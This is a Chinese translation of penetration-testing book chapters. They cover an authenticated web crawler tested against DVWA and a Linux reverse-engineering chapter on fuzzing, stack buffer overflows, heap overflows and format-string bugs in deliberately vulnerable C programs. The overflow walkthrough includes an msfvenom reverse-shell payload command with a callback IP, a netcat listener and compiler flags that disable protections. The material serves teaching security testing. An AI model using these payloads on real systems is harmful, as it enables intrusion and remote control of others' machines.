在第**(1)**部分可以看到,对于第二次迭代(auth=True),我们会向用户提供的登录 URL 发出HTTP GET请求。我们使用 Python requests库中的GET方法。当我们向 URL 发出GET请求时,响应内容(网页)会被放入xx变量中。
现在,如第**(2)**部分所示,我们使用xx.content命令提取网页内容,并将提取的内容传递给Beautifulsoup模块的实例。Beautifulsoup是一个非常好用的 Python 工具,可以使解析网页变得非常简单。从这里开始,我们将用别名 BS 来表示Beautifulsoup。
第三部分使用了 BS 解析库中的s.findall('form')方法。findall()方法接受要搜索的 HTML 元素类型作为字符串参数,并返回一个包含搜索匹配项的列表。如果一个网页包含十个表单,s.findall('form')将返回一个包含这十个表单数据的列表。它看起来如下:[<Form1 data>,<Form2 data>, <Form3 data> ....<Form10 data>]。
在代码的第四部分,我们正在遍历之前返回的表单列表。这里的目标是在网页上可能存在的多个输入表单中识别登录表单。我们还需要找出登录表单的操作 URL,因为那将是我们POST有效凭据并设置有效会话的地方,如下面的截图所示:
让我们试着分解前面的不完整代码,以了解到目前为止发生了什么。然而,在我们继续之前,让我们看一下用户界面,从中获取爬取参数。这将让我们对先决条件有一个很好的了解,并帮助我们更好地理解代码。以下屏幕显示了用户输入参数的表示:
如前所述,爬虫工作分为两次迭代。在第一次迭代中,它尝试在没有身份验证的情况下爬取 Web 应用程序,在第二次迭代中,它使用身份验证爬取应用程序。身份验证信息保存在self.auth变量中,默认情况下初始化为false。因此,第一次迭代将始终没有身份验证。
应该注意的是,前面提到的代码的目的是从登录网页/URL 中识别登录表单。一旦识别出登录表单,代码就会尝试识别该表单的所有输入字段。然后,它将制定一个包含合法用户凭据的数据有效载荷,以提交登录表单。提交后,将返回并保存一个有效的用户会话。该会话将用于基于身份验证的第二次爬取迭代。
在代码的第五部分,我们正在调用self.process_form_action()方法。在此之前,我们提取了表单的操作 URL,以便知道数据将被发布的位置。它还将相对操作 URL 与应用程序的基本 URL 结合起来,这样我们最终会将请求发送到一个有效的端点 URL。例如,如果表单操作指向名为/login的位置,当前 URL 为http://127.0.0.1/my_app,这个方法将执行以下任务:
-
检查 URL 是否已经添加到爬虫应该访问的 URL 列表中
-
将操作 URL 与基本上下文 URL 组合并返回
http://127.0.0.1/my_app/login
这个方法的定义如下所示:
可以看到,在这个方法中首先调用的是另一个方法self.check_and_add_to_visit。这个方法检查所讨论的 URL 是否已经被添加到爬虫应该爬取的 URL 列表中。如果已经添加,则执行no9操作。如果没有,爬虫将该 URL 添加到稍后重新访问。这个方法还检查许多其他事情,比如 URL 是否在范围内,协议是否被允许等等。这个方法的定义如下所示:
如图所示,如果第 158 行下的self.already_seen()返回false,那么在当前项目的后端数据库Page表中将创建一行。这一行再次通过 Django ORM(模型抽象)创建。self.already_seen()方法只是检查Page表,看看爬虫是否以当前项目名称和当前认证模式访问了问题 URL。这是通过访问标志来验证的:
Page.objects.filter()相当于select * from page where auth_visited=True/False and project='current_project' and URL='current_url'。
在代码的第**(6)部分,我们将当前表单的内容传递给一个新创建的 BS 解析模块的实例。这样做的原因是我们将解析并提取当前处理的表单中的所有输入字段。一旦输入字段被提取,我们将比较每个输入字段的名称与用户在username_field和password_field下提供的名称。我们这样做的原因是可能会有多个表单在登录页面上,比如搜索表单、注册表单、反馈表单和登录表单。我们需要能够识别这些表单中的哪一个是登录表单。当我们要求用户提供登录用户名/电子邮件字段名称和登录密码字段名称时,我们的方法是从所有表单中提取输入字段并将它们与用户提供的内容进行比较。如果我们两个字段都匹配,我们将flag1和flag2设置为True。如果我们在一个表单中找到匹配,很可能这就是我们的登录表单。这是我们将在其中将用户提供的登录凭据放在适当字段下并在操作 URL 下提交表单的表单。这个逻辑由第(7)、(8)、(9)、(10)、(11)、(12)、(13)和(14)**部分处理。
还有一个重要的考虑因素。登录网页上可能还有注册表单。假设用户已经在我们的代码中指定了username和user_pass作为用户名和密码参数的字段名称,以便在这些字段名称下提交正确的凭据以获得有效会话。然而,注册表单还包含另外两个字段,也称为username和user_pass,还包含一些其他字段,如地址、电话、电子邮件等。然而,正如前面讨论的,我们的代码只识别这些提供的字段名称的登录表单,并可能将注册表单视为登录表单。为了解决这个问题,我们将所有获取的表单存储在程序列表中。当所有表单都被解析和存储时,我们应该有两个可能的登录表单候选。我们将比较两者的内容长度,长度较短的将被视为登录表单。这是因为注册表单通常比登录表单有更多的字段。这个条件由代码的第**(15)**部分处理,它枚举了所有可能的表单,并最终将最小的表单放在payloadforms[]列表和actionform[]列表的索引 0 处。
最后,在第 448 行,我们将提供的用户凭据发布到有效解析的登录表单。如果凭据正确,将返回有效会话并放置在会话变量ss下。通过调用POST方法进行请求,如下所示:ss.post(action_forms[0],data=payload,cookie=cookie)。
用户提供要爬取的 Web 应用程序的起始 URL。第**(16)**部分获取该起始 URL 并开始爬取过程。如果有多个起始 URL,它们应该用逗号分隔。起始 URL 被添加到Page()数据库表中,作为爬虫应该访问的 URL:
在第**(17)节中,有一个爬行循环调用there_are_pages_to_crawl()方法,该方法检查后端的Page()数据库表,看看当前项目中是否有任何未被访问的页面,visited flagset = False。如果表中有尚未被爬行器访问的页面,此方法将返回True。由于我们刚刚在第(16)**节将起始页面添加到Page表中,因此此方法将对起始页面返回True。其思想是对该页面进行GET请求,并提取所有进一步的链接、表单或 URL,并不断将它们添加到Page表中。只要有未被访问的页面,循环将继续执行。一旦页面完全解析并提取了所有链接,visited flag 就会被设置为True,以便不会再提取该页面或 URL 进行爬行。该方法的定义如下所示:
在第**(18)**节中,我们通过调用get_a_page_to_visit()方法从后端的Page表中获取未访问的页面,该方法的定义在这里给出:
在第**(19)节中,我们向该页面发出 HTTP GET请求,同时携带会话 cookie ss,因为第(19)**节属于处理auth=True的迭代。一旦向该页面发出请求,页面的响应将进一步处理以提取更多链接。在处理响应之前,我们检查应用程序产生的响应代码。
有时候,某些页面会返回重定向(3XX响应代码),我们需要适当保存 URL 和表单内容。假设我们向页面 X 发出了GET请求,响应中有三个表单。理想情况下,我们将以 X 为标记保存这些表单。但是,假设在向页面 X 发出GET请求时,我们得到了一个 302 重定向到页面 Y,并且响应 HTML 实际上属于设置重定向的网页。在这种情况下,我们最终会保存与 URL X 映射的三个表单的响应内容,这是不正确的。因此,在第(20)和(21)节中,我们处理这些重定向,并将响应内容与适当的 URL 进行映射:
第(22)和(23)节的代码与前面提到的第(19)、(20)和(21)节完全相同,但(22)和(23)节是针对authentication=False的迭代进行的:
如果在处理当前页面时遇到任何异常,第(24)节将处理这些异常,将当前页面的 visited flag 标记为True,并在数据库中放置适当的异常消息。
如果一切顺利,控制将传递到第(26)节,从那里开始处理从当前正在访问的页面上的GET请求获取的 HTML 响应内容。此处理的目标是进行以下操作:
-
从 HTML 响应中提取所有进一步的链接(
a href、base标签、Frame标签、iframe标签) -
从 HTML 响应中提取所有表单
-
提取 HTML 响应中的所有表单字段
代码的第**(26)**节提取了返回的 HTML 响应内容中base标签下(如果有的话)存在的所有链接和 URL。
第**(27)和(28)**节使用 BS 解析模块解析内容,提取所有锚标签及其href位置。一旦提取,它们将被传递以添加到Pages数据库表中,以供爬行器以后访问。必须注意的是,只有在检查它们在当前项目和当前身份验证模式下不存在后,才会添加这些链接。
第(29)节使用 BS 解析模块解析内容,以提取所有iframe标签及其src位置。一旦提取,它们将被传递以添加到Pages数据库表中,以便爬虫以后访问。第(30)节对 frame 标签执行相同的操作:
第(31)节使用 BS 解析模块解析内容,以提取所有选项标签,并检查它们是否在value属性下有链接。一旦提取,它们将被传递以添加到Pages数据库表中,以便爬虫以后访问。
代码的第(32)节尝试探索从网页中提取任何遗漏链接的所有其他选项。以下是检查其他可能性的代码片段:
第(33)和第(34)节从当前 HTML 响应中提取所有表单。如果识别出任何表单,将提取并保存表单标签的各种属性,例如 action 或 method,保存在本地变量中:
如果识别出任何 HTML 表单,下一个任务是提取所有输入字段、文本区域、选择标签、选项字段、隐藏字段和提交按钮。这是由第(35)、(36)、(37)、(38)和(39)节执行的。最后,所有提取的字段以逗号分隔的方式放在input_field_list变量下。例如,假设识别出一个名为Form1的表单,其中包含以下字段:
-
<input type ="text" name="search"> -
<input type="hidden" name ="secret"> -
<input type="submit" name="submit_button>
所有这些都被提取为"Form1" : input_field_list = "search,text,secret,hidden,submit_button,submit".
代码的第(40)节检查数据库表中是否已经保存了具有当前项目和当前auth_mode相同内容的任何表单。如果没有这样的表单存在,则使用 Django ORM(models)包再次将表单保存在Form表中:
先前代码的第(41)节继续并将这些唯一的表单保存在以当前项目名称命名的 JSON 文件中。然后可以使用简单的 Python 程序解析此文件,以列出我们爬取的网页应用程序中存在的各种表单和输入字段。此外,在代码的末尾,我们有一个小片段,将所有发现/爬取的页面放在一个文本文件中,以便以后参考。片段如下所示:
f= open("results/Pages_"+str(self.project.project_name))
for pg in page_list:
f.write(pg+"\n")
f.close()
代码的第(42)节更新了刚刚解析内容的网页的访问标志,并标记为当前auth模式的已访问。如果在保存期间发生任何异常,这些异常将由第(43)节处理,该节再次将访问标志标记为true,但另外添加异常消息。
在第(42)和第(43)节之后,控制再次回到代码的第(17)节。爬虫尚未访问的下一页从数据库中获取,并重复所有操作。这将持续到爬虫访问了所有网页为止。
最后,我们检查当前迭代是否在第(44)节中进行身份验证。如果没有进行身份验证,则调用爬虫的start()方法,并将auth标志设置为True。
成功完成两次迭代后,假定网页应用程序已完全爬取,并且代码的第(45)节将项目状态标记为已完成。
代码的执行
我们需要做的第一步是将模型类转换为数据库表。可以通过执行syncdb()命令来完成,如下所示:
创建数据库表后,让我们启动 Django 服务器,如下所示:
我们将测试我们的爬虫针对著名的 DVWA 应用程序,以查看它发现了什么。我们需要启动 Apache 服务器并在本地提供 DVWA。可以通过运行以下命令启动 Apache 服务器:
service Apache2 start
现在,让我们浏览爬虫界面,并提供以下扫描参数:
点击开始爬取按钮:
现在让我们浏览应用程序的results文件夹,位于<Xtreme_InjectCrawler/results>路径,以查看发现的 URL 和表单如下:
首先打开 JSON 文件查看内容:
现在,让我们打开Pages_Dvwa_test文件,查看发现的 URL 如下:
因此,可以验证爬虫已成功爬取了应用程序,并识别了前一个截图中显示的链接:
摘要
在本章中,我们看到了如何从头开始编写自定义爬虫。使用 Python 的模块,如 requests,BeautifulSoup 等,可以更轻松地完成这项任务。随意下载整个代码库,并测试爬虫与其他各种网站,以检查其覆盖范围。爬虫可能无法达到 100%的覆盖率。看看爬虫的局限性以及如何改进它。
问题
-
如何改进爬虫以涵盖 JavaScript 和 Ajax 调用?
-
我们如何使用爬虫结果来自动化 Web 应用程序测试?
进一步阅读
-
使用 Python 和 Kali Linux 进行渗透测试自动化:
www.dataquest.io/blog/web-scraping-tutorial-python/ -
Requests: 人类使用的 HTTP:
docs.python-requests.org/en/master/ -
Django 项目:
www.djangoproject.com/ -
使用 Python 和 Kali Linux 进行渗透测试自动化:
scrapy.org/
第十一章:逆向工程 Linux 应用程序
逆向工程,正如我们已经知道的,是获取可执行程序并获取其源代码或机器级代码的过程,以查看工具是如何构建的,并可能利用漏洞。逆向工程的上下文中的漏洞通常是开发人员和安全研究人员发现的软件错误。在本章中,我们将看看如何使用 Linux 应用程序进行逆向工程。本章将涵盖以下主题:
-
模糊化 Linux 应用程序
-
Linux 和汇编
-
Linux 和堆栈缓冲区溢出
-
Linux 和堆缓冲区溢出
-
在 Linux 中格式化字符串错误
调试器
了解可执行程序行为的常规方法是将其附加到调试器,并在各个位置设置断点,以解释测试软件的代码流。调试器是一个软件实用程序或计算机程序,程序员可以使用它来调试他们的程序或软件。它还允许程序员查看正在执行的代码的汇编。调试器能够显示代码执行的确切堆栈。调试器能够显示高级编程语言代码的汇编级等效。因此,调试器以执行堆栈的形式显示程序的执行流程,用于函数调用的寄存器,以及程序变量的地址/值等。
让我们来看看我们将在本章中涵盖的调试器:
- Evans Linux 调试器:这是一个本地 Linux 调试器,我们不需要 wine 来运行它;它以
tar.gz文件的形式提供。下载源代码,提取并复制到您的计算机。所需的安装步骤如下:
$ sudo apt-get install cmake build-essential libboost-dev libqt5xmlpatterns5-dev qtbase5-dev qt5-default libqt5svg5-dev libgraphviz-dev libcapstone-dev
$ git clone --recursive https://github.com/eteran/edb-debugger.git
$ cd edb-debugger
$ mkdir build
$ cd build
$ cmake ..
$ make
$ ./edb
要么将其添加到环境变量路径中,要么转到安装目录并运行./edb来启动调试器。这将给我们以下界面:
让我们打开edb exe/linux文件:
- GDB/GNU 调试器:这是一个非常古老的调试器,通常在 Ubuntu 中默认找到。它是一个不错的调试器,但功能不多。要运行它,只需输入
gdb,它的提示符就会打开。默认情况下,它是一个 CLI 工具。
- 另一个好的工具是 idea-pro,但这是一个商业工具,不是免费的。
模糊化 Linux 应用程序
模糊化是一种用于发现应用程序中的错误的技术,当应用程序收到未经应用程序预期的输入时,应用程序会崩溃。模糊化通常涉及使用自动化工具或脚本发送大型字符串到可能导致应用程序崩溃的应用程序。模糊化的想法是发现漏洞或错误,如果发现,可能会导致灾难性后果。这些漏洞可能属于以下类别之一:
-
缓冲区溢出漏洞
-
字符串格式漏洞
模糊化是将随机生成的代码发送到我们的测试程序的技术,目的是使其崩溃或查看它在不同输入下的行为。模糊化是以自动化方式向正在测试的程序发送不同长度的有效负载,以查看程序是否在任何时候表现出奇怪或意外的行为。如果在模糊化期间观察到任何异常情况,则标记导致程序出现意外行为的有效负载长度。这有助于测试人员进一步评估是否存在溢出类型的潜在漏洞。简而言之,模糊化是检测正在测试的应用程序中是否存在潜在溢出漏洞的第一步。
有效的 fuzzer 生成半有效的输入,这些输入在解析器中不会被直接拒绝,但会在程序的更深层次上创建意外行为,并且足够无效,以暴露未正确处理的边缘情况。我们可以用于 fuzzing 的一个工具是Zzuf。这是一个非常好的 fuzzing 工具,可以在基于 Linux 的系统上使用。安装步骤如下:
从 GitHub 源下载 Zzuf 并手动安装它,使用以下命令:
./configure
make sudo make install
然而,在这里,我们将专注于使用我们的本机 Python 代码进行 fuzzing。要了解如何进行 fuzzing,让我们以一个示例 C 代码为例,该代码从用户那里获取输入,但没有对传递的输入执行必要的检查。
fuzzing 在行动
让我们来看一个用 C 编写的基本代码,它接受用户输入并在终端上显示它:
#include <stdio.h>
#include <unistd.h>
int vuln() {
char arr[400];
int return_status;
printf("What's your name?\n");
return_status = read(0, arr, 400);
printf("Hello %s", arr);
return 0;
}
int main(int argc, char *argv[]) {
vuln();
return 0;
}
ssize_t read(int fildes, void *buf, size_t nbytes);
以下表格解释了前面代码块中使用的字段:
| 字段 | 描述 |
|---|---|
int fildes | 要读取输入的文件描述符。您可以使用从 open (codewiki.wikidot.com/c:system-calls:open)系统调用获得的文件描述符,或者您可以使用 0、1 或 2,分别表示标准输入、标准输出或标准错误。 |
const void *buf | 读取内容存储的字符数组。 |
size_t nbytes | 截断数据之前要读取的字节数。如果要读取的数据小于n字节,则所有数据都保存在缓冲区中。 |
return value | 返回读取的字节数。如果值为负数,则系统调用返回错误。 |
我们可以看到,这个简单的程序试图从控制台读取(由文件描述符的值 0 指定),并且无论它从控制台窗口读取什么,它都试图放在本地创建的名为arr的数组变量中。现在arr在这段代码中充当缓冲区,最大大小为 400。我们知道 C 中的字符数据类型可以保存 1 个字节,这意味着只要我们的输入<=400 个字符,代码应该可以正常工作,但如果输入超过 400 个字符,我们可能会遇到溢出或分段错误,因为我们会尝试保存的内容超过了缓冲区arr的容量。从前面的代码中可以立即看到,超过 400 字节的输入将破坏代码。
想象一下,我们无法访问应用程序的源代码。那么,为了弄清楚缓冲区的大小,我们有以下三个选项:
-
第一个选项是对其进行逆向工程,以查看应用程序的助记符或汇编级别代码。谁想这样做呢!
-
许多现代反编译器还为我们提供了原始应用程序的源代码等效物。对于我们这样的一个小例子,这将是一个不错的选择,但如果问题中的可执行文件有数千行代码,我们可能也要避免选择这个选项。
-
第三种通常首选的方法是将应用程序视为黑盒,并确定它期望用户指定输入的位置。这些将是我们的注入点,在这些点上,我们将指定不同长度的字符串,以查看程序是否崩溃,如果崩溃,会发生在哪里。
让我们编译我们的源代码以生成我们将作为黑盒运行和 fuzz 的 C 对象文件。
默认情况下,Linux 系统是安全的,并且它们配备了各种防止缓冲区溢出的保护措施。因此,在编译源代码时,我们将禁用内置的保护,如下所示:
gcc -fno-stack-protector -z execstack -o buff buff.c
前面的命令将产生以下截图:
让我们运行我们的对象文件,通过将echo命令的输出传输到它来进行单行操作。这将使用 Python 和 fuzzing 自动化:
我们知道./buff是我们的输出文件,可以作为可执行文件执行。假设我们知道文件的实际源代码,我们可以使用 Python 来模糊文件。让我们创建一个基本的 Python 模糊脚本:
让我们运行前面的 Python 代码,看看模糊测试的效果以及它如何使应用程序崩溃,使我们接近崩溃点:
从前面的输出可以看出,应用程序崩溃的地方在 400 到 500 字节之间,这就是实际的崩溃点。更准确地说,我们可以使用较小的步长i,并以步长=10到达以下结果:
前面的屏幕截图为我们提供了更详细的信息,并告诉我们应用程序在输入长度为411和421之间崩溃。
Linux 和汇编代码
在本节中,我们将学习有关汇编语言的知识。目标是将 C 代码转换为汇编代码,并查看执行过程。我们将加载和使用的示例 C 代码如下:
现在,让我们从命令行运行这个程序,作为./buff,并尝试将这个可执行程序附加到 Evans 调试器:
现在,我们通过 GUI 将我们运行的代码附加到启动的 Evans 调试器,方法是转到文件 | 附加选项。我们将可执行文件附加如下:
当我们点击OK时,对象文件将被附加到调试器,并且我们将能够看到与之关联的汇编级别代码,如下所示:
窗口的右上部分显示了被测试应用程序的汇编代码。左上部分表示寄存器及其相应的内容。汇编代码下方的部分显示了用户在控制台上输入数据时将调用的方法,即我们的读取系统调用。屏幕底部的部分表示内存转储,其中以十六进制和 ASCII 格式显示了内存的内容。让我们看看当我们指定一个小于 400 个字符的值时,应用程序是如何干净地退出的:
现在,让我们输入一个大于 400 字节的值,看看我们的寄存器会发生什么变化:
当我们传递这个输入时,我们会得到以下状态:
从前面的屏幕截图可以看出,我们传递的值被写入寄存器 RSP。对于 64 位架构,寄存器 RSP 保存下一条要执行的指令的地址,由于值从arr缓冲区溢出,一些值被写入寄存器 RSP。程序获取了 RSP 的内容以执行下一条指令,由于它到达了aaaaaaaaaa,程序崩溃了,因为这是一个无效的地址。应该注意的是,如前面的屏幕截图所示,0X6161616161是aaaaaaaaaa的十六进制等价物。
Linux 中的堆栈缓冲区溢出
大多数漏洞是由开发人员没有考虑到的条件导致的。最常见的漏洞是堆栈缓冲区溢出。这意味着我们定义了某种不足以存储所需数据的缓冲区。当输入由最终用户控制时,这就成为了一个问题,因为这意味着它可以被利用。
在软件中,堆栈缓冲区溢出或堆栈缓冲区溢出发生在程序写入程序调用堆栈上的内存地址(正如我们所知,每个函数都有自己的执行堆栈或分配一个堆栈内存来执行)超出预期数据结构的范围时。这通常是一个固定长度的缓冲区。堆栈缓冲区溢出几乎总是导致堆栈上相邻数据的损坏,在溢出是由错误触发时,这通常会导致程序崩溃或操作不正确。
假设我们有一个可以容纳两个字节数据的内存单元a,并且在这个内存单元a旁边有另一个内存单元b,它也可以容纳两个字节的数据。假设这两个内存单元都放置在相邻的堆栈上。如果a给出超过两个字节的数据,数据将实际上溢出并被写入b,这是程序员所不期望的。缓冲区溢出利用了这个过程。
指令堆栈指针是指向下一条要执行的指令的地址的指针。因此,每当执行任何指令时,IP 的内容都会得到更新。当调用方法并创建该方法的激活记录时,执行以下步骤:
-
创建激活记录或堆栈帧。
-
当前指令指针(CIP)和当前环境指针(CEP)(来自调用者)被保存在堆栈帧上作为返回点。
-
CEP 被分配为堆栈帧的地址。
-
CIP 被分配为代码段中第一条指令的地址。
-
执行从 CIP 中的地址继续。
当堆栈执行完毕并且没有更多的指令或命令可以执行时,执行以下步骤:
-
CEP 和 CIP 的旧值从堆栈帧的返回点位置中检索出来。
-
使用 CEP 的值,我们跳回到调用者函数。
-
使用 CIP 的值,我们从最后一条指令中恢复处理。
默认情况下,堆栈如下所示:
现在可以看到返回地址位于堆栈底部,实际上包含了旧的 CEP 的值。我们称之为堆栈帧指针。在技术术语中,当缓冲区的值被覆盖并溢出时,它会完全填满与堆栈的本地变量空间相关的所有内存,然后被写入堆栈的返回地址部分,导致缓冲区溢出。当缓冲区上的所有内存空间被占用时,按照惯例,返回点的内容被提取以进行跳转回调用者。然而,由于地址被用户传递的数据覆盖,这导致了无效的内存位置,因此导致分段错误。
这就是有趣的地方。应该注意的是,用户传递的数据和堆栈的本地变量实际上是作为寄存器实现的,因此我们传递的值将存储在堆栈上的某些寄存器中。现在,由于用户传递的任何输入都被写入某些寄存器,最终被写入返回点,如果我们能够在位置12345的寄存器X中注入 shell 代码会怎么样?由于我们能够写入堆栈的返回点,如果我们在返回点写入12345会怎样?这将导致控制转移到位置12345,这将导致执行我们的 shell 代码。这就是缓冲区溢出如何被利用来授予我们受害者机器的 shell。现在我们对缓冲区溢出有了更好的理解,让我们在下一节中看看它的实际应用。
利用缓冲区溢出
接下来,让我们看一个容易受到缓冲区溢出攻击的代码片段。让我们看看如何模糊测试和利用这个漏洞来获取对系统的 shell 访问权限。我们在之前的部分学习了如何使用 Evans 调试器。在本节中,我们将看到如何使用gdb来利用缓冲区溢出。
下面是一个简单的 C 代码片段,询问用户的姓名。根据终端提供的值,它用问候消息“嘿<用户名>”来问候用户:
让我们使用以下命令编译应用程序,禁用堆栈保护:
gcc -fno-stack-protector -z execstack -o bufferoverflow bufferoverflow.c
这将创建一个名为bufferoverflow的目标文件,可以按以下方式运行:
现在我们的下一步是生成一个会导致应用程序崩溃的有效负载。我们可以使用 Python 来实现这一点:
python -c "print 'A'*500" > aaa
上述命令将创建一个包含 500 个A的文本文件。让我们将其作为输入提供给我们的代码,看看是否会崩溃:
正如我们之前学到的,计算机通过寄存器来管理栈。寄存器充当内存中的专用位置,用于在处理数据时存储数据。大多数寄存器临时存储处理的值。在 64 位架构中,寄存器堆栈指针(RSP)和寄存器基址指针(RBP)尤为重要。
程序使用 RSP 寄存器来记住栈中的位置。RSP 寄存器将根据栈中添加或移除的任务而上下移动。RBP 寄存器用于记住栈的末尾位置。
通常,RSP 寄存器将指示程序从哪里继续执行。这包括跳入函数、跳出函数等。这就是为什么攻击者的目标是控制 RSP 指向程序执行的位置。
现在,让我们尝试使用gdb运行相同的代码,找到崩溃发生时 RSP 寄存器的值:
如图所示,我们只需发出run命令并将其传递给创建的输入文件,程序就会崩溃。让我们试着了解崩溃时所有寄存器的状态:
info registers 显示的两列告诉我们寄存器的地址,以十六进制和十进制格式显示。我们知道这里感兴趣的寄存器是 RSP,因为 RSP 将保存下一个要执行的指令的地址,由于它被损坏并被字符串 A 覆盖,导致了崩溃。让我们检查崩溃时 RSP 的内容。让我们还检查其他寄存器的内容,看看我们的输入字符串aaaaa写在了哪里。我们检查其他寄存器的原因是确定我们可以放置有效负载的寄存器:
从上面的截图中,我们可以验证输入字符串 aaaa,其十六进制等价物为0x414141,被放置在 RSP 中,导致崩溃。有趣的是,我们还看到该字符串被放置在寄存器r9和r11中,使它们成为我们利用代码的潜在候选者。但在那之前,我们需要找出我们的 500 个字符输入中的缓冲区 RSP 何时被覆盖。如果我们得到该偏移量的确切位置,我们将设计我们的有效负载以在该偏移量处放置跳转指令,并尝试跳转到寄存器r9或r11,在那里我们将放置我们的 shell 代码。为了找出确切的偏移量,我们将使用 Metasploit 的 Ruby 模块生成一组唯一的字符组合:
现在,由于我们将这个唯一生成的字符串放在一个名为unique的文件中,让我们重新运行应用程序,这次将unique文件内容传递给程序:
现在,在这一点上,寄存器 RSP 的内容是0x6f41316f,这是十六进制。ASCII 等价物是o1Ao。
由于寄存器 RSP 的内容是小端格式,我们实际上需要将0x6f31416f转换为其 ASCII 等价物。必须注意的是,IBM 的 370 大型机,大多数RISC架构的计算机和 Motorola 微处理器使用大端方法。另一方面,英特尔处理器(CPU)和 DEC Alphas 以及至少一些在它们上运行的程序是小端的。
我们将再次使用 Metasploit Ruby 模块来获取这个唯一值的偏移量,以找到我们有效负载的确切位置。之后,我们应该放置跳转指令,使 RSP 跳转到我们选择的位置:
因此,我们知道在地址424之后写入的下一个八个字节将被写入我们的rsp寄存器。让我们尝试写入bbbb,看看是否是这种情况。我们生成的有效负载将如下所示:424*a + 4*b + 72*c。要使用的确切命令是这个:
python -c "print 'A'*424+ 'b'*4 + 'C'*72" > abc
现在,鉴于我们已经验证了我们可以控制寄存器 RSP,让我们尝试攻击 r9 寄存器,以容纳我们的 shell 代码。但在这样做之前,重要的是我们知道 r9 寄存器的位置。在下面的屏幕截图中,我们可以看到 r9 寄存器的内存位置是0x7fffffffded0,但每次程序重新加载时都会发生变化:
有两种方法可以解决这个问题。第一种方法是通过在操作系统级别禁用动态地址更改来避免它,可以在以下屏幕截图中看到。另一种方法是找到具有jmp r9命令的任何指令的地址**。**我们可以在程序的整个汇编代码中搜索jmp r9,然后将位置的地址放入我们的寄存器 RSP,从而避免动态地址更改。我将把这留给你自己去想出并做。在本节中,让我们通过执行以下操作来禁用动态地址加载:
现在,由于我们正在使用 Kali 机器,让我们生成一个将放置在我们最终的利用代码中的反向 shell 有效负载:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.250.147 LPORT=4444 -e x64/xor ‐b "\x00\x0a\x0d\x20" -f py
为了找出正在测试的底层软件的常见坏字符,最成功的方法是反复试验。我通常用来找出常见的坏字符的方法是将所有唯一字符发送到应用程序,然后使用调试器,检查寄存器级别发生了哪些字符变化。发生变化的字符可以被编码和避免。
上述命令将产生以下屏幕截图:
让我们创建一个名为exp_buf.py的 Python 文件,并将获取的 shell 代码放入该文件中。必须注意的是,由于我们正在对有效负载进行编码,我们还需要一些字节在开头进行解码,因此我们将在开头指定一些nop字符。我们还将在端口4444上设置一个 netcat 监听器,以查看我们是否从应用程序获得了反向 shell。记住 r9 寄存器的地址;我们也将使用它:
上述 Python 代码打印了我们需要的有效负载,以通过我们创建的易受攻击的缓冲区溢出代码获取反向 shell。让我们将这个有效负载输入到一个名为buf_exp的文件中,我们将在edb中使用它来利用代码。输入以下命令来运行代码:
python exp_buf.py > exp_buf
现在让我们在端口 4444 上设置一个 netcat 监听器,它将监听反向载荷,这将反过来给我们 shell:
nc -nlvp 4444
现在,用gdb运行应用程序,并尝试利用它,如下所示:
哎呀!代码成功地生成了一个新的 shell 进程。让我们检查一下我们的 netcat 监听器得到了什么:
因此可以验证,我们成功地使用 Python 和gdb创建了一个反向 shell。
Linux 中的堆缓冲区溢出
应该注意的是,导致堆栈缓冲区溢出的变量、缓冲区或存储的范围被限制在声明它的函数(局部变量)中,并且其范围在函数内。由于我们知道函数是在堆栈上执行的,这个缺陷导致了堆栈缓冲区溢出。
在堆缓冲区溢出的情况下,影响会更大一些,因为我们试图利用的变量不是存储在堆栈上,而是存储在堆上。在同一方法中声明的所有程序变量都在堆栈中分配内存。然而,在运行时动态分配内存的变量不能放在堆栈中,而是放在堆中。因此,当程序通过malloc或calloc调用为变量分配内存时,实际上是在堆上分配内存,而在堆缓冲区溢出的情况下,这些内存就会溢出或被利用。让我们看看这是如何工作的:
现在继续编译代码,禁用内置保护,如所示。请注意,-fno-stack-protector和-z execstack是用于禁用堆栈保护并使其可执行的命令。
gcc -fno-stack-protector -z execstack heapBufferOverflow.c -o heapBufferOverflow
现在我们已经编译了应用程序,让我们用会导致代码执行的输入类型来运行它,如下所示:
前面的截图给出了堆缓冲区溢出的起点。我们将留给读者去发现如何进一步利用它并从中获得一个反向 shell。所采用的方法与我们先前使用的方法非常相似。
字符串格式漏洞
无控制的格式字符串利用可以用于使程序崩溃或执行有害代码。问题源于在执行格式化的某些 C 函数中,如printf()中,使用未经检查的用户输入作为字符串参数。恶意用户可以使用%s和%x等格式标记,从调用堆栈或可能是内存中的其他位置打印数据。我们还可以使用%n格式标记,在堆栈上存储的地址上写入格式化的字节数,这会命令printf()和类似函数将任意数据写入任意位置。
让我们尝试通过以下一段示例代码进一步理解这一点:
现在,继续编译代码,禁用内置保护,如所示:
gcc formatString.c -o formatString
请注意,print 函数将第一个参数作为格式字符串(%s、%c、%d等)。在前面的情况下,argv[1]可以用作格式字符串,并打印任何内存位置的内容。前面的代码是有漏洞的。然而,如果它是按照下面所示的方式编写的,那么漏洞就不会存在:
现在我们已经编译了应用程序,让我们用会导致代码执行的输入类型来运行它,如下所示:
让我们用格式字符串漏洞来破坏代码,如下所示:
前面的截图给出了一个起点;同样,我们将留给读者去探索如何进一步利用这一点。建议您尝试我们之前详细讨论过的相同方法。
总结
在本章中,我们讨论了 Linux 中的逆向工程。我们还学习了使用 Python 进行模糊测试。我们在 Linux 调试器(edb和gdb)的上下文中查看了汇编语言和助记符。我们详细讨论了堆栈缓冲区溢出,并了解了堆缓冲区溢出和字符串格式漏洞的概念。我强烈建议花费大量时间来研究这些想法,并在不同的操作系统版本和易受攻击的应用程序上进行探索。到本章结束时,您应该对 Linux 环境中的缓冲区溢出漏洞和逆向工程有一个相当好的理解。
在下一章中,我们将讨论 Windows 环境中的逆向工程和缓冲区溢出漏洞。我们将演示如何利用真实应用程序进行利用。
问题
-
我们如何自动化利用缓冲区溢出漏洞的过程?
-
我们可以采取什么措施来避免操作系统施加的高级保护,比如禁用堆栈上的代码执行?
-
我们如何处理地址随机化?
进一步阅读
-
堆栈缓冲区溢出交火:
www.doyler.net/security-not-included/crossfire-buffer-overflow-linux-exploit -
堆栈缓冲区溢出交火:
www.whitelist1.com/2016/11/stack-overflow-8-exploiting-crossfire.html
第十二章:逆向工程 Windows 应用程序
在本章中,我们将看看如何对 Windows 应用程序进行逆向工程。在本章中,我们将涵盖以下主题:
-
Fuzzing Windows 应用程序
-
Windows 和汇编
-
Windows 和堆缓冲区溢出
-
Windows 和堆缓冲区溢出
-
Windows 中的格式化字符串漏洞
调试器
让我们来看看我们将在本章中涵盖的 Windows 调试器:
